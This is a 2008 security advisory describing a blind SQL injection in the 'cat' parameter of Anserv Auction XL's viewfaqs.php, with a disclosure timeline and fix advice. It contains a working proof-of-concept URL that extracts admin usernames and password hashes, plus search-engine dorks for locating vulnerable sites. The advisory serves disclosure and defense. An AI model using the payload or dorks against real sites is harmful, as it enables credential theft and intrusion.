Anserv Auction XL (viewfaqs.php cat) Blind Sql Injection Vulnerability

2008.05.15
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

ECHO_ADV_92$2008 ------------------------------------------------------------------------ ----------------- [ECHO_ADV_92$2008] Anserv Auction XL (viewfaqs.php cat) Blind Sql Injection Vulnerability ------------------------------------------------------------------------ ----------------- Author : M.Hasran Addahroni Date : May, 5 th 2008 Location : Jakarta, Indonesia Web : http://advisories.echo.or.id/adv/adv92-K-159-2008.txt Critical Lvl : Medium Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Anserv Auction XL version : Vendor : http://auctionxl.com/ http://anserv.com/ Description : Auction XL offers many features in an auction software package. If you would like to bill your clients monthly for their accumulated fees, XL is the right choice for your auction software. "Name Your Price" offers is just one of the newly added features. Auction XL has many features included making it a robust auction software package that offers complete user interaction and admin control ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ Input passed to the "cat" parameter is not properly verified before being used to sql query. This can be exploited thru the browser and get the username and hash md5 password from admin. Successful exploitation requires that "magic_quotes" is off Poc/Exploit: ~~~~~~~~~~ http://www.target.com/viewfaqs.php?cat=-1%20union%20select%20concat(id,0 x3a,username,0x3a,password)%20from PHPAUCTIONXL_adminusers-- Dork: ~~~~~ Google : "allinurl:viewfaqs.php?cat=" Altavista : "Home | Sell an item | Register | Login | Community | Site Map | Help" Solution: ~~~~~~~ - Edit the source code to ensure that input is properly verified. - Turn on magic_quotes in php.ini Timeline: ~~~~~~~~~ - 02 - 05 - 2008 bug found - 03 - 05 - 2008 vendor contacted - 05 - 05 - 2008 advisory released ------------------------------------------------------------------------ --- Shoutz: ~~~~~ ~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke ~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal y,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b ~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel #e-c-h-o @irc.dal.net ~ special for rgod - good bye mate, thanks for the great works. ------------------------------------------------------------------------ --- Contact: ~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------


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